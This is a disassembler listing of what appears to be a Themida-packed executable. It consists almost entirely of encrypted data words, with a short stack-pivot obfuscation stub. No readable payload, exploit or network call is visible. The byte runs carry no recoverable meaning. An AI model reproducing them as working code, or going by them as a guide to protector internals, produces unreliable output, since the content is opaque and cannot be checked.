		dd 607h, 952B0000h, 6071FB1h, 11E5B5FFh, 6A0607h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B607BC3h, 72C65B5h,	398D2906h, 61060706h, 0BD95FFh
		dd 0DF800607h, 0FF006AE3h, 716B595h, 0EBC08B06h, 3C27012Ch
		dd 0FD7DADC8h, 0A735F3DFh, 641D2181h, 0DFCAAD6Fh, 0F81A3066h
		dd 317E29DCh, 501E131Bh, 0FC603D71h, 53CAC985h,	0AEA27274h
		dd 0DE8A9h, 8D0000h, 8546AE49h,	0B04D103Bh, 81BA1C6Dh
		dd 525A69C8h, 95895E4Bh, 60706B9h, 5E37C681h, 0E8570000h
		dd 0Ch,	6ED831FDh, 0DB37EC48h, 0BF937CE7h, 595F5957h, 175868h
		dd 5B0FB400h, 151EE981h, 168B490Eh, 32119589h, 0F2810607h
		dd 3218125h, 0A9958B60h, 61060710h, 67EFEA81h, 8D8B32ECh
		dd 6070C49h, 3395F281h,	8D8B4AF1h, 6071291h, 8AD88152h
		dd 8F5F056Eh, 0BE906h, 0A2F30000h, 7FE2ECA5h, 6B534FE5h
		dd 1EE8364h, 8B0Fh, 4E4E0000h, 758D334Eh, 4B060719h, 1B850Fh
		dd 0FA8B0000h, 30E9h, 564D0600h, 16058BCh, 4582BF1Ah, 8E7D8456h
		dd 90DCB166h, 15B53157h, 0E906070Ch, 0FFFFFF7Ah, 7DF1AEBAh
		dd 0BE0BE099h, 3972F59Ah, 0FED82102h, 12E820h, 0FD7E0000h
		dd 64333D02h, 0E99F6235h, 0EBA7DF11h, 532F796Eh, 7259D8Bh
		dd 665A0607h, 0C281FA8Bh, 62B9h, 8B66C933h, 0A048BD8h
		dd 8E9h, 0F1B06100h, 9CC92F4Fh,	21F081A1h, 0E93905AAh
		dd 13h,	419A224Fh, 2E388FB5h, 0A851E150h, 0CE45AABCh, 815E1016h
		dd 8D08F4E8h, 0C081FC3Dh, 26FCFE6Bh, 20A98501h,	4890607h
		dd 99BD8B0Ah, 8B060721h, 7165DB5h, 1E98306h, 691F13BBh
		dd 4949492Ch, 0A36FD781h, 0F981282Ah, 0FFFF9E04h, 17850Fh
		dd 0F500000h, 38Bh, 0F08B6600h,	1DE95Eh, 0EF040000h, 231BE13Ah
		dd 0F0B70F20h, 0FFFF74E9h, 2B4F4DFFh, 84504BDBh, 630C4BC7h
		dd 8DE13D78h, 0DE0ED8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BE66E729h, 8D89F29Bh
		dd 6070679h, 2CD9B58Bh,	85C70607h, 6072CE5h, 722Ch, 204D9D89h
		dd 85C70607h, 6072D05h,	0
		dd 0B5FF5A50h, 6072ABDh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0E3C35040h, 64FAEA6Ah, 0FE94692h, 0C6000000h
		dd 0B6A56C88h, 444926FFh, 0C1DEAF17h, 95FF5BA2h, 60700BDh
		dd 95FF006Ah, 60716B5h,	4DEBC08Bh, 8A4D7221h, 3FC86E58h
		dd 24F852h, 0BA3BF746h,	0E1B68F13h, 5946AA7Fh, 0D62F36C2h
		dd 0A28FBF3Dh, 69946C69h, 3A747FEh, 74702F00h, 0B4854999h
		dd 6A873CF4h, 0CF2C7206h, 0BAC9956Eh, 0A3DD5469h, 0AD353130h
		dd 0A7A9168h, 0FBB6D970h, 0C98D8D61h, 8B060DE1h, 798D89C7h
		dd 8B060706h, 0E585C7C1h, 0BC06072Ch, 2900005Bh, 71AF185h
		dd 585C706h, 6072Dh, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 5F4C357h, 139DB5FFh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 10699EC3h, 0FBB1DF8Bh, 3141BD89h,	958B0607h
		dd 6070A7Dh, 0BD95FFh, 0F08B0607h, 95FF006Ah, 60716B5h
		dd 1FEBC08Bh, 629E3759h, 7FEBE63Ah, 8917CE74h, 0ED9CB5BCh
		dd 0B2841D01h, 5B56C239h, 0C6B89507h, 8DA205AEh, 0DE2D08Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 72591679h, 0C870Fh, 830F0000h, 6, 0E3DBD8Bh
		dd 8D890607h, 6070679h,	0F1B58B56h, 5E06072Bh, 2CE585C7h
		dd 6A000607h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0AC5BC5C3h, 0A6EBFFD1h, 0C7C68BD3h
		dd 72D0585h, 6,	99B50100h, 0FF06071Bh, 70B75B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7C7BB96Ah, 0FF277EA7h, 700BD95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 1C7007D0h
		dd 0DE80356Fh, 8DBD89F4h, 6A060710h, 0B595FF00h, 8B060716h
		dd 0A87DEBC0h, 0F8AFAF8h, 4726F596h, 107B5DDFh,	0DD0F970Dh
		dd 4D70DE3Ch, 4D371E90h, 0A7C15D7Dh, 308C602Dh,	8AC60CC0h
		dd 0FBB73503h, 3F3F8BB0h, 9A63143h, 9EBE2763h, 8C212EABh
		dd 19641703h, 3B1720AFh, 98D6C09Ah, 8B706C05h, 4F55D47Fh
		dd 0DE9676C3h, 0BD443FAAh, 0FA0F3EE7h, 494DCBD7h, 55203DB1h
		dd 8277EE03h, 73924BCDh, 2E260AC8h, 6ED4B76h, 0EC2EFC73h
		dd 7F36129Dh, 0FC6C31E9h, 9E8h,	11E7F600h, 0FB6A5A2Dh
		dd 8D0F2BA5h, 6, 525BD8Bh, 0F580607h, 681h, 0E9852900h
		dd 81060707h, 6A11C0h, 0E1B52900h, 2B06071Ah, 0E78166D2h
		dd 34FFEE96h, 0CFF78102h, 590CF3B5h, 81F3BF0Fh,	0CA49ADF1h
		dd 28C0F77h, 8A000000h,	44C181F8h, 815E7B64h, 0ABA7EDEBh
		dd 2BF18148h, 2B72DCAEh, 70479BDh, 100C8906h, 9D99D09h
		dd 85890607h, 607042Dh,	8B04EA83h, 721799Dh, 7CFA8106h
		dd 0FFFFF96h, 0FFFFA985h, 0F8F8BFFFh, 0AE8216Ch, 6F000000h
		dd 0C45185D4h, 0E1152109h, 0ADBD099Ch, 5F060714h, 81E4D580h
		dd 707CC7h, 798D8B00h, 0B8060716h, 386F2BCh, 0EEBCF081h
		dd 0D1810386h, 24DDAC6Eh, 0B5891F8Bh, 6070A31h,	55AEEB81h
		dd 89603D67h, 7142D8Dh,	0F99D8906h, 61060704h, 56D5C381h
		dd 0B58B2DA5h, 60721E9h, 0AA32C381h, 0B70F4523h, 0E91F89F2h
		dd 7, 3B5748EFh, 8385E7DAh, 0F38B04EFh,	0F01E883h, 0FFFFB385h
		dd 8D52B6FFh, 0DE5008Dh, 0CDC8006h, 6798D89h, 0DE90607h
		dd 0AA000000h, 7B8B8C29h, 0FC0ADE76h, 0C0D54497h, 2CE585C7h
		dd 73C80607h, 858B0000h, 6071EADh, 2D0585C7h, 607h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B5FF3BC3h, 6070B75h, 978365BBh, 0BD95FF73h,	6A060700h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 8152C352h, 0EB16AB26h, 6A56E10Fh,	0B595FF00h
		dd 8B060716h, 437DEBC0h, 291F79FEh, 1426F0AFh, 0FD63FF19h
		dd 1B2B0FD5h, 7F66A4BDh, 11C49959h, 7193AEECh, 80959FFEh
		dd 0F161D2D0h, 0C03EFEAEh, 87B6FD8Ah, 0A03CBF34h, 26667D6Ch
		dd 0E24713B2h, 0AE115658h, 0FBCD32DEh, 0BFB5F1D6h, 5A966AF7h
		dd 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h,	0C41B24A1h
		dd 0D30466BBh, 0DE21109Fh, 0D7AF8643h, 20A487A6h, 0F69365F2h
		dd 905406F4h, 0F8F1437Fh, 7F29A7Dh, 9E8h, 3988E900h, 0CEA69C18h
		dd 0BF669DF1h, 0F5B098Bh, 587h,	7708B800h, 0C3814EA7h
		dd 5BE9h, 1870Fh, 68F80000h, 16B6h, 252D9589h, 295E0607h
		dd 71DB1BDh, 0E833FF06h, 13h, 0C1D975C2h, 0B500C90Bh, 0A26B41F8h
		dd 0CE3D1FADh, 0E9B9903Eh, 6, 3334212h,	5A5FEE2Ch, 0BE9h
		dd 52A7F000h, 2D5D7170h, 6EBF568Eh, 462DC281h, 0F2816BAEh
		dd 719509A9h, 10919D89h, 0C2810607h, 374A6AFEh,	13E9h
		dd 0A7A07D00h, 0A1B64F02h, 4B68A796h, 0BED582AFh, 0CC4560BCh
		dd 0FE952h, 57A0000h, 8CDD9FB6h, 0ED17021Fh, 65D3AA5Ah
		dd 66038FAAh, 6A8AD781h, 0F04EB83h, 0D88h, 85236000h, 6070FF1h
		dd 0FC08166h, 0EE81611Ch, 1, 1C850Fh, 8B600000h, 70081BDh
		dd 71958B06h, 6106072Eh, 25E9h,	66BE3F00h, 0F022BD61h
		dd 8D093A53h, 6070719h,	0FFFF34E9h, 0D26CFFFFh,	0ED9E28C5h
		dd 0EED3E5DBh, 60914E07h, 10E85CC0h, 1F000000h,	3817A79Bh
		dd 74F779E6h, 14BAA2C6h, 6689D0FDh, 5F9701BAh, 2C4D9D8Bh
		dd 0C7810607h, 6E86h, 12E8h, 874F5900h,	0D9A354C7h, 0D857EFB7h
		dd 0FD047864h, 5A634140h, 68h, 895EF500h, 7280DBDh, 3E34FF06h
		dd 0E959F8B6h, 0Bh, 720C0CC6h, 3A99378Ah, 813C93EBh, 9084FDE9h
		dd 81EDB21Bh, 16B4A4F1h, 0D19D8B4Ah, 81060720h,	0AA03A6E9h
		dd 3FADBB6Ch, 8B510764h, 70FD185h, 37048F06h, 1FC19529h
		dd 858B0607h, 6072C5Dh,	0FC04EE83h, 921CFE81h, 850FFFFFh
		dd 0FFFFFFA5h, 15CD49BBh, 0A0758261h, 14690889h, 8DA6DC78h
		dd 36226827h, 35A12E86h, 0D9259086h, 30254813h,	22809905h
		dd 3F251481h, 30258102h, 79980786h, 3023458Eh, 305EA589h
		dd 0B5E39086h, 36226483h, 3021CCC8h, 0E7651286h, 0BB75A1C4h
		dd 0BB21A0C2h, 1461CB86h, 85DA7982h, 36228223h,	4B3ACD0Bh
		dd 0E0DA228Ch, 0B5E3E20Dh, 36222583h, 2FB7ECC8h, 34A4724Eh
		dd 4A928FA2h, 79906FF1h, 0BD234F8Eh, 3A5E3B03h,	0BBF5ED80h
		dd 3035B07Eh, 38CC8486h, 96254286h, 302BA489h, 3B6C9086h
		dd 0C0A0474Fh, 0D9DADB79h, 3025128Bh, 7E39940Bh, 359D8281h
		dd 0CF254286h, 7798AC65h, 0BD239D61h, 3DCD450Bh, 15379C80h
		dd 0FF0E94B6h, 0A0758247h, 14690889h, 8DA6DC78h, 36226827h
		dd 35A12E86h, 0D9259086h, 30254813h, 83809905h,	0A4F305E9h
		dd 22B9h, 8E800h, 53880000h, 95D85EB2h,	830F2693h, 4, 51CFBA66h
		dd 0A3DA805Bh, 73F1C381h, 3FBA0000h, 2B626EF3h,	959589F6h
		dd 0FF060725h, 0B5091E34h, 6071BBDh, 85896059h,	60713D1h
		dd 10D1858Bh, 81610607h, 21C0A3C1h, 0E1958B61h,	81060707h
		dd 0D1591BC1h, 59858B39h, 8106071Fh, 0FDDF75C1h, 0EDBD8B6Ah
		dd 8906072Bh, 0BD8B330Ch
		dd 6070401h, 12E86060h,	0BA000000h, 5B8BAC15h, 0C95E453Ah
		dd 0ABF4E17Dh, 605F12DCh, 0E2815ACEh, 435E7CA8h, 8361F961h
		dd 858902EEh, 6072131h,	80604E4Eh, 8161C3F5h, 0FF8CE8FEh
		dd 19850FFFh, 89000000h, 7325195h, 25E906h, 412A0000h
		dd 9BE009A5h, 61928106h, 0A5DC9431h, 0FF5DE9F9h, 0ED65FFFFh
		dd 7BB4A270h, 2D0B45E9h, 71578E3Ch, 0E8443E9Ah,	0Eh, 343A48DCh
		dd 9118F4A0h, 40DF948Ah, 815A0A53h, 6733C2h, 13E800h, 1D8B0000h
		dd 0D460E516h, 0B782B194h, 42AE4D6Eh, 0B0E4AEB7h, 0CE8B663Ah
		dd 199FBF58h, 0C7B80000h, 8B3F221Ch, 219D291Ah,	81060707h
		dd 511F5BEBh, 0D5858B09h, 81060712h, 4F0A60C3h,	6FD9802Dh
		dd 732AC381h, 0C7B900FAh, 892DB168h, 0FBB9661Ah, 4EA8380h
		dd 0FE8h, 2A056600h, 6A21E4A5h,	41C63590h, 310BE929h, 850F4F59h
		dd 0Ch,	2CE9E28Ah, 17000000h, 0D891D65Bh, 0FE8h, 898B6A00h
		dd 27F6C4A8h, 0B3E8465Bh, 8CC5FEF7h, 59C18B66h,	0FFFF8AE9h
		dd 0E22D69FFh, 0BF02B776h, 8D4D287Ah, 0DEAFB8Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 89BC42A5h, 72C958Dh,	798D8906h, 6A060706h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 5BFCC350h, 0DBFE9545h, 1D922DCh, 71FE19Dh, 0BE806h
		dd 245F0000h, 0CCBB3A49h, 2DB757A4h, 6E830h, 40650000h
		dd 0C32A9319h, 2679BD8Bh, 5B5F0607h, 2CE585C7h,	64B80607h
dword_565F68	dd 0C28A0000h, 2D0585C7h, 607h,	6A0000h, 3E856h, 5E200000h
					; DATA XREF: Themida_:0051F7F8o
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0A8A69EC3h
		dd 0FFE8B23Bh, 721C9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 2ECCE5EAh, 95455BFCh
		dd 0DE9h, 0D4E81100h, 4B693B5Ch, 9FCDAE9Eh, 95FF8E6Ah
		dd 60700BDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	4C35747h, 9B945615h, 9D29A09Ah,	6070185h, 6AE3B4h
		dd 16B595FFh, 0C08B0607h, 9A6309EBh, 37B4DE58h,	0E9BBBA13h
		dd 1Ah,	5EF23587h, 5 dup(0)
		dd 81E90000h, 31000008h, 0C99775E6h, 6432104Bh,	3D1AFACh
		dd 0A06E4C0Fh, 6D08E675h, 1E3DD8FFh, 0B7A47240h, 53080BD9h
		dd 0F16AA775h, 0D65D4113h, 84D555F4h, 3B009F79h, 7EC76B64h
		dd 0C97D1BE0h, 17B37246h, 3DA17034h, 996083D8h,	9F820CEAh
		dd 0EF1249CAh, 0D5937928h, 7A5CE341h, 0FF7EC778h, 23EA0DBCh
		dd 5F4219F7h, 8A135AE1h, 4D9078C0h, 2C2FE62Ah, 0CA91804Eh
		dd 29EBA9A7h, 868B4F32h, 0FDF3B2D5h, 9CA44538h,	0C9AF9B5Eh
		dd 0BFA16042h, 0BFA2E578h, 838E482Fh, 0E234F2D8h, 98209679h
		dd 0BD27D3h, 240A93EBh,	0BF79BB9Dh, 1AFD4078h, 90A30A7Bh
		dd 5681E4h, 4AA80000h, 149B898Ch, 7EC76B32h, 99C574B7h
		dd 3AFEE17Ah, 195D80DBh, 7D3C5FFCh, 41D40E75h, 0F6B43C1Ah
		dd 51183B20h, 0E998181Eh, 1BFEEFE9h, 87F3097Ch,	1E82DEh
		dd 4A90000h, 0D0B7C611h, 0FE8FBB56h, 481F2C4Fh,	897EC77Eh
		dd 41D40E75h, 1CB63C1Ah, 53000000h, 56888C4Ah, 0B57C9FBCh
		dd 0B65F2306h, 9D7582A5h, 0EE7EC76Bh, 0FC19C5BAh, 4812815Fh
		dd 0D2898CD1h, 53B63D23h, 0D878BF83h, 53F5D75Eh, 0BA7A78C0h
		dd 19E00358h, 9A98BB6Ah, 58D49BD5h, 250847BDh, 0CEACAF61h
		dd 42CE1000h, 3427ED19h, 789B4A11h, 655BC7Ah, 23F01CE3h
		dd 4CD55538h, 4A29B096h, 0C772B962h, 0E7556184h, 5ACA4690h
		dd 0B939F1D3h, 84337672h, 0BD9F269Eh, 4272B93Ah, 0B09219FFh
		dd 3572B93Ah, 0CB990FF2h, 0B8301645h, 0B93A4F31h, 5E91D472h
		dd 0DC058224h, 0A35E4182h, 0B88EE496h, 0EEAC2C72h, 742EB225h
		dd 31404CC7h, 0B5985F82h, 8C845E25h, 0A469F1CFh, 0E3A365Fh
		dd 1285B03h, 5532E097h,	484BB093h, 0D3888ED3h, 280D5724h
		dd 0D4878C4Ah, 4307EAB1h, 52C08DCEh, 164205CAh,	0CEDD791Fh
		dd 6C2986EBh, 1FDB88BDh, 3Dh, 0BD34846h, 0E1C34A3Eh, 667EC76Ah
		dd 917F3D23h, 4A82E7CAh, 6B694BD2h, 0ABEE7EC7h,	4EB4AC8h
		dd 4A824F0Ch, 0F0B11385h, 4E314334h, 854A4001h,	0AC7ED79Dh
		dd 62DEC106h, 2Eh, 0BD348FFh, 898C4A3Eh, 5E8AFD2h, 6B1E0087h
		dd 6D967EC7h, 898C4AA0h, 5E8AFD2h, 0C042887h, 0A17B824Fh
		dd 6BC0A229h, 2457EC7h,	0D04BA1Fh, 0D61E2B4Eh, 0C7EC2E8h
		dd 1F3CD509h, 638635FCh, 476AF11Fh, 0C695EA1Eh,	0B0BC97Fh
		dd 0CFF41D50h, 3F127ED5h, 71F7CC5Ch, 6EF373ACh,	0FA16B85Eh
		dd 0BCFB261h, 55C4D106h, 6CC01B1Dh, 0DB220639h,	0AE5DB008h
		dd 481302D0h, 21779D62h, 91B6AF54h, 492CDB80h, 90CB4A8Eh
		dd 0C9AB32AAh, 4E7EC354h, 0BC9E250Bh, 417EC355h, 1C601BFEh
		dd 0FB3F62F9h, 26204318h, 0C9702F94h, 5B0015D3h, 0FE8E7138h
		dd 4BDEA3B9h, 2CA89AD5h, 0AE9017FDh, 337EC2EFh,	0CC490DF0h
		dd 7D08B18Fh, 0EDE8D2Dh, 61h, 5AD24A35h, 0C76AF1D3h, 3E33767Eh
		dd 7EC76B5Ch, 0F7BB9EE1h, 201E411Ah, 6B3F21A8h,	81C47EC7h
		dd 0E33B1E9Eh, 868B76FDh, 0D74F78BFh, 0C04F6E50h, 0E133F378h
		dd 0E190577Ah, 1B3E81FEh, 538FF4BCh, 5EEA19BEh,	369B7D04h
		dd 0DD2078C0h, 28483DAAh, 0ECCE9379h, 0B3CC3DF5h, 0C048BEA1h
		dd 65481302h, 4E0D0400h, 0EE682D2Bh, 0FFDB733Dh, 3A67ED20h
		dd 5F893E04h, 0BD65FC7Ch, 0C2F950D7h, 337678BFh, 0D18A8755h
		dd 0CAE0A1AEh, 0FBC3F44Dh, 30E2A084h, 52C4082Bh, 0B3775A09h
		dd 511FFD5Eh, 0EAF41EC0h, 61843328h, 8D05EB9Ah,	4DFA2406h
		dd 3366A9F4h, 0F66E8E75h, 5D18FB6Ch, 381EC45Dh,	46F946B1h
		dd 0EAC80BEEh, 888C4A7Bh, 7EA1BA56h, 0A52508B7h, 4A9B68BEh
		dd 0F2D5868Ch, 0D045237h, 0E352814Eh, 58868C4Ah, 0D1F4A3B8h
		dd 0D88270Ah, 7EDB88BEh, 49h, 0BD348A5h, 4426AD25h, 0C97EC76Bh
		dd 3719A086h, 0BC7EC76Bh, 4A319679h, 0AA5FC985h, 7A9B834Dh
		dd 48F7BEE1h, 7E60E765h, 37EC78Ah, 0EB4AF3C0h, 824F0C04h
		dd 0D24ABA7Bh, 0C76B694Bh, 7FABEE7Eh, 67E3C695h, 31h, 0BD34804h
		dd 4426AD25h, 0C97EC76Bh, 4A3EA386h, 14440DD2h,	718B0C25h
		dd 921F018Eh, 6E977EC7h, 4EB4AA1h, 1744D20Ch, 8C4A9B68h
		dd 0A1EED18Ah, 4E0D04E0h, 0A56F2D2Bh, 0A0CC93B6h, 0FEC5E873h
		dd 0E9468E1Bh, 99617EC2h, 4219F822h, 63D6975Ch,	0D97A897h
		dd 2FE6B42Ah, 50C5092Ch, 27D6858Eh, 914F4504h, 94A4D784h
		dd 9A2E7515h, 0E7DC6C4Fh, 9B81DA3Bh, 32635DDh, 3AE3593Ch
		dd 0DE8D8B4Bh, 4140h, 0D046700h, 362B2B4Eh, 98830AF0h
		dd 5D78BF8Bh, 0D098F71Ah, 42E22FEBh, 4C6143CAh,	0A3E678C0h
		dd 0C04BCCAEh, 0DE2E0378h, 3A7655C7h, 0DE7D9555h, 1AA2802Fh
		dd 0DEB41A55h, 3B022536h, 74B53108h, 0D042C91h,	6CAA684Eh
		dd 51510CEFh, 0B42C12C8h, 1C3F1CF6h, 0AE57255h,	8F78BF94h
		dd 48FF6E4Ch, 67250BD3h, 65CAADAEh, 0D04280Dh, 6BAE9017h
		dd 0AB327EC7h, 7EC76AC9h, 0E3260B4Eh, 0E3526734h, 88BD6C29h
		dd 351FDBh, 48460000h, 4A3E0BD3h, 0C76AE1C3h, 3D23667Eh
		dd 0E4C64DC5h, 697EC76Ah, 6B4F3126h, 91D47EC7h,	0EB4A49AEh
		dd 824F0C04h, 8C4ABA7Bh, 0ECB3D685h, 218D09h, 482A0000h
		dd 4A3E0BD3h, 0C76AE1C3h, 62B3597Eh, 0AA8C13F9h, 2F7EC76Bh
		dd 4A703DECh, 4F0C04EBh, 4ABA7B82h, 6B694BD2h, 0ABEE7EC7h
		dd 4E0D04C8h, 0E8D61E2Bh, 90C7EC2h, 0AA312F52h,	7EC2E9C8h
		dd 37DE0A4Dh, 3A420124h, 0E4779945h, 5126EE35h,	0EACC53CBh
		dd 6F7EC2E9h, 47F665AFh, 0EA71A064h, 88D33E0Ch,	26FC6565h
		dd 0F5E2B940h, 9F5F78BBh, 5937E675h, 0BD348EAh,	0B1AA6725h
		dd 7FE4C78Eh, 0D04280Dh, 8C4A814Eh, 9AC15589h, 239208EBh
		dd 88BD6C29h, 4E1FDBh, 682D0000h, 0EFD4E00Dh, 86EBCE32h
		dd 0D4878C4Ah, 34EA71F1h, 14D24A67h, 71385B00h,	6B1F018Eh
		dd 61A47EC7h, 4AEB4A94h, 5EEE0DD2h, 0A097DBBh, 0C8043315h
		dd 9275B87Eh, 4C1942CEh, 8C4ABA7Bh, 9DBE548Ah, 0E104B37Ah
		dd 1EBB371Ah, 58000000h, 828ED348h, 4A5D2AD9h, 0C76AE1C3h
		dd 6330597Eh, 0D6858C4Ah, 41675F3h, 7B824F0Ch, 0D10D04BAh
		dd 32F91C3Fh, 0B536083h, 267EC2E9h, 54BD195Eh, 0B65B2907h
		dd 9F8282A5h, 2BE96147h, 884F72E9h, 0C2EAB193h,	10F3367Eh
		dd 8A80B92h, 0EA2D78BBh, 0D3489D0Ch, 8C4A3E0Bh,	34EFD289h
		dd 5537BE36h, 0DA7EC76Bh, 44FB497h, 52814E0Dh, 4BD24AE3h
		dd 7EC76B69h, 29C8ABEEh, 0DB88BD6Ch, 0EEF024E2h, 62853427h
		dd 4977B89Bh, 85000000h, 6BA4860Dh, 0E6297BC7h,	0D3489E03h
		dd 4486A387h, 0C271780Ch, 0E1C34AF5h, 657EC76Ah, 1F2942A0h
		dd 50331EDEh, 4AC390D3h, 898C4AEBh, 0BCE8AFD2h,	1BE20556h
		dd 0BF9C7438h, 4ABA7BF2h, 0B4D7848Ch, 348E0AEDh, 2B000000h
		dd 3E0BD348h, 6AE1C34Ah, 0A0657EC7h, 18FE351Ah,	0B9251043h
		dd 0EA139D80h, 0AF603F04h, 2E15C981h, 0D24AE64Bh, 659C840Dh
		dd 987B471Ah, 4F0C0433h, 4BA7B82h, 2B2B4E0Dh, 5032B936h
		dd 0D57EC76Bh, 76FDE392h, 78BF9853h, 0AD371558h, 1886EB4h
		dd 72B22E55h, 0F034579Ah, 8E5C3A21h, 0A8B5D883h, 0B9B21E3Eh
		dd 38E2D9A1h, 888D4BD9h, 0F4E9B0D3h, 19B28F12h,	0C7A55497h
		dd 204318F9h, 0ACAF6422h, 4E0D05C9h, 0CAB11F2Bh, 7C5A0110h
		dd 0D5F863AEh, 3D9h, 15207600h,	25481304h, 82B30E1h, 0E90C4FC4h
		dd 0C7EA71A5h, 0A6C99283h, 85A8B362h, 678AD141h, 4B6EED23h
		dd 2B4E0D07h
		dd 0E689562Ah, 4C681h, 0EE830000h, 24348704h, 241C895Ch
		dd 2B068h, 242C8900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 68243489h, 6915h, 0BE243489h, 3ABE10C6h, 0B3FBEBBDh
		dd 5EF5313Ch, 24348B54h, 8304C483h, 48904ECh, 89E88924h
		dd 0FF580846h, 835E2434h, 2C8B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		db 1Bh,	7Dh, 0Bh
		dd 0EE17FD05h, 0C2DCFBA3h, 71E680DBh, 0DF327B8h, 0FFC50306h
		dd 9F8786E0h, 0A06D6620h, 43923910h, 0C51A5E52h, 0F6069577h
		dd 12E821h, 7D7D0000h, 3F21538Dh, 96E4B475h, 0EB9BB32Ch
		dd 0B5A4BAD2h, 8A0Fh, 0B85E0000h, 16D49D3Ch, 6686C681h
		dd 8E0F0000h, 0Dh, 0D1816660h, 840F42B7h, 0
		dd 197A6861h, 0B65B0000h, 660E8BE6h, 0C181FE8Bh, 43529858h
		dd 0EAABE981h, 9EB65F6Bh, 0A50F181h, 0BF66337Eh, 0E890CECh
		dd 81D78B66h, 9F3448EEh, 7BA662Bh, 44C6813Fh, 8B2B9F34h
		dd 1EB81C1h, 0F000000h,	1185h, 1DE9F800h, 97000000h, 89F0F88Eh
		dd 837EEB97h, 8DB0EB7Eh, 0FFFFA8E9h, 99C3E8FFh,	0C22B18BEh
		dd 6F9EDAE0h, 0F51C8D8Dh, 858B060Dh, 6073151h, 6798D89h
		dd 0BD290607h, 6071B19h, 2CE585C7h, 6B900607h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0E3207BC3h, 97909CE2h, 8B6C58B8h, 726299Dh, 0D58D2906h
		dd 0C706070Bh, 72D0585h, 6, 29B58B00h, 0FF06070Eh, 70C11B5h
		dd 459D8906h, 0FF060708h, 700BD95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0C603AD5Eh
		dd 0B2EBBBF7h, 6E9h, 0BB397D00h, 6A121E85h, 0B595FF00h
		dd 8B060716h, 0DE1DEBC0h, 484709E2h, 0D4A6D23Fh, 8A7923C2h
		dd 0F62C5CCh, 0D223ADFEh, 0EF8D41C2h, 9C30182Dh, 0F5F38D8Dh
		dd 9509060Dh, 607011Dh,	6798D89h, 6A0607h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 18C70BC3h
		dd 68B0FEAh, 81000000h,	289407C6h, 0E585C708h, 0F406072Ch
		dd 89000064h, 7163DB5h,	585C706h, 6072Dh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0BDA5C351h, 0EE9h, 337D5300h, 7D73DD24h, 6DF23813h
		dd 0FF951C56h, 721C9B5h, 5D958B06h, 0FF06070Ah,	700BD95h
		dd 9E806h, 40DF0000h, 0E85F0A53h, 0B866D22h, 7264585h
		dd 6A5B06h, 16B595FFh, 0C08B0607h, 0C88509EBh, 0CD25471Ch
		dd 0E9428724h, 14h, 1164925Dh, 4 dup(0)
		dd 52FE9h, 67F42300h, 259BB89h,	0A1BA5624h, 3E1DF5C3h
		dd 0D8839260h, 0CA0D5FFAh, 6432104Bh, 0FDCBA9B2h, 99674516h
		dd 3305E378h, 60E6C84Fh, 916B84D5h, 4E0D04F2h, 0A92EE72Bh
		dd 3285485Ch, 0C6A45327h, 1F4219F8h, 29EE36DBh,	9ABCEC27h
		dd 14F6EBC2h, 997EC84Ah, 8684A756h, 0F01348C8h,	92824629h
		dd 7F47A6C9h, 2833DE38h, 0C4977C4Ah, 6D995EE6h,	3F4F3698h
		dd 888B4F32h, 0AA6CB0D3h, 0BF19222Dh, 0CBBF6D6h, 86FDDE9h
		dd 58DF45CEh, 7EC85676h, 0A7FE34FBh, 4BC43EFBh,	410FED9Ch
		dd 6A688BD0h, 0CC502DF2h, 0CF6B9691h, 0C82FF8DAh, 573A7D7Eh
		dd 0C82FF3CAh, 42391B7Eh, 87ECC8BDh, 97C3DEh, 4AEA0000h
		dd 0EED18A8Ch, 8E74E72Ah, 131ACEC9h, 8167B702h,	0C86218FAh
		dd 775A9D7Eh, 61D7AFBCh, 1DFF7EC8h, 0BAE4A1A6h,	0EA7DE87h
		dd 0B5000000h, 55D4B63Dh, 3127EC8h, 4D307358h, 0C71004E8h
		dd 0A29F507Eh, 80D407B1h, 0FFD26150h, 591E04B3h, 83AEFC55h
		dd 4803E6CFh, 694BD24Ah, 0EE7EC845h, 5C3EC5ABh,	0E17EC845h
		dd 1DF7BB9Eh, 3BD71B3Eh, 0C6E972A3h, 0E92D50FFh, 0CB0F3229h
		dd 0E5F11447h, 0C530077h, 71A37F44h, 0C6840CEAh, 64280B50h
		dd 7AE131ADh, 3E19057h,	4A110494h, 2AB12927h, 7EC76B48h
